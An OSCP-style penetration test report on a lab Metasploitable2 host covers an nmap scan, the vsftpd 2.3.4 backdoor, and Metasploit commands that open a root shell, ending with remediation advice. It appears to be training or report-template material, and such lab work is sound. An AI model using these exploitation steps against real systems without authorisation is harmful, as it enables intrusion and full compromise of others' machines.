OSCP-Style Penetration Test Report

Target Information

Target IP	192.168.56.101
Host	Metasploitable2
Date	September 4, 2025
Tester	Your Name

Service Enumeration

An Nmap scan was conducted against the target host:
`nmap -sC -sV 192.168.56.101 -oN nmap_results.txt`

Relevant Output:
```
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian
23/tcp open telnet Linux telnetd
```

Vulnerability Details

Service: vsftpd 2.3.4
Port: 21/tcp
Vulnerability: Backdoor Command Execution
Reference: Exploit-DB 17491

Exploitation

1. Launch Metasploit: msfconsole
2. Search for the exploit: search vsftpd
3. Select the exploit module: use exploit/unix/ftp/vsftpd_234_backdoor
4. Set the target IP: set RHOST 192.168.56.101
5. Execute the exploit: exploit

Result:
```
Command shell session 1 opened (192.168.56.102:43853 ->
192.168.56.101:6200)
```

Proof of Compromise

```
whoami
root

uname -a
Linux metasploitable 2.6.24-16-server ...
```

Severity

Impact: Full system compromise (root access)
Risk Level: Critical
Exploitability: Easy (public exploit, automated via Metasploit)

Recommendation

Upgrade vsftpd to a secure version (2.3.5 or later). Avoid using outdated services. Restrict FTP access or replace it with secure alternatives such as SFTP.